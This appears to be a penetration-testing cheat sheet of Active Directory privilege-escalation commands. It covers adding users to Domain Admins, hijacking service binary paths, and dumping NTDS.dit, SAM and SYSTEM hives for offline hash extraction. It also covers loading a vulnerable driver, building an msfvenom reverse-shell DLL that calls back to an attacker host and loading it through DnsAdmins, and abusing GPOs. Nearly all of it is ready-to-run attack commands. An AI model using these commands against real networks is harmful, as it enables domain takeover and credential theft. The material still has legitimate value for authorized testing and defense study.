AD Groups

# Check what groups a user belongs to
net user $TARGET /domain
Get-ADUser -Identity $TARGET -Properties MemberOf | Select -ExpandProperty MemberOf

# List all members of a specific group
net group "Server Operators" /domain
Get-ADGroupMember -Identity "Server Operators" -Recursive

# nxc
nxc ldap $DC_IP -u $USER -p $PASSWORD -d $DOMAIN --dns-server $DC_IP -M groupmembership -o USER=$TARGET
nxc smb $IP -u $USER -p $PASSWORD --groups

# Check if you're DA
whoami /groups | findstr "Domain Admins"

# Add yourself (if you have the right ACL)
net group "Domain Admins" $USER /add /domain
Add-DomainGroupMember -Identity "Domain Admins" -Members $USER

# Create a user
net user hacker Pass123! /add /domain

# Add to a group (within their scope)
net group "IT Support" hacker /add /domain

# Check services you can modify
.\SharpUp.exe audit

# Modify a service binary path to execute your payload
sc.exe config $SERVICE binpath= "cmd /c net localgroup administrators $USER /add"
sc.exe stop $SERVICE
sc.exe start $SERVICE

# Or use nxc to check
nxc smb $DC_IP -u $USER -p $PASSWORD -M backup_operator

# Check if you're a Backup Operator
whoami /groups | findstr "Backup"

# Use diskshadow + robocopy to extract NTDS.dit (requires Backup Operators rights on DC)
diskshadow.exe /s script.dsh      # create VSS shadow copy via script
robocopy /b \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ C:\loot\ ntds.dit

# Grab registry hives (need SYSTEM to decrypt)
reg save HKLM\SYSTEM C:\loot\SYSTEM
reg save HKLM\SAM C:\loot\SAM

# Then secretsdump offline
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL

# nxc can check and exploit this directly
nxc smb $DC_IP -u $USER -p $PASSWORD -M backup_operator
nxc smb $DC_IP -u $USER -p $PASSWORD --ntds

# Check for SeLoadDriverPrivilege
whoami /priv | findstr SeLoadDriverPrivilege

# Abuse with EopLoadDriver (loads a vulnerable driver to escalate)
EoPLoadDriver.exe System\CurrentControlSet\dfserv C:\path\to\driver.sys

# Check RDP access
nxc rdp $IP -u $USER -p $PASSWORD

# Connect
xfreerdp /u:$USER /p:$PASSWORD /v:$IP

nxc winrm $IP -u $USER -p $PASSWORD
evil-winrm -i $IP -u $USER -p $PASSWORD

# Generate malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=4444 -f dll -o evil.dll

# Host the DLL on an SMB share
impacket-smbserver share . -smb2support

# Set the DLL as the DNS plugin (requires DnsAdmins membership)
dnscmd.exe /config /serverlevelplugindll \\$LHOST\share\evil.dll

# Restart DNS service to trigger DLL load
sc.exe stop dns
sc.exe start dns

# Check if a user is Protected
Get-ADGroupMember -Identity "Protected Users" | Select Name

# Check if your target is protected before attempting PtH or delegation
Get-ADUser -Identity $TARGET -Properties MemberOf | Select -ExpandProperty MemberOf

# Enumerate GPO link permissions with PowerView
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -match "Write"
}

# Create and link a malicious GPO with SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount $USER --GPOName "Default Domain Policy"

# Check what groups your account is in (look for restrictive names)
net user $USER /domain
Get-ADUser -Identity $USER -Properties MemberOf | Select -ExpandProperty MemberOf

# Check the group's scope and what it denies (look at ACLs on shares, OUs, GPOs)
Get-ADGroup -Identity "NOACCESS" -Properties *
Get-ADGroupMember -Identity "NOACCESS" | Select Name

# If you have WriteProperty or GenericWrite on the group, remove yourself
Remove-ADGroupMember -Identity "NOACCESS" -Members $USER -Confirm:$false

# bloodyAD from Linux (if you have write rights on the group)
bloodyAD -u $USER -p $PASSWORD -d $DOMAIN --host $DC_HOST \
  remove groupMember "NOACCESS" $USER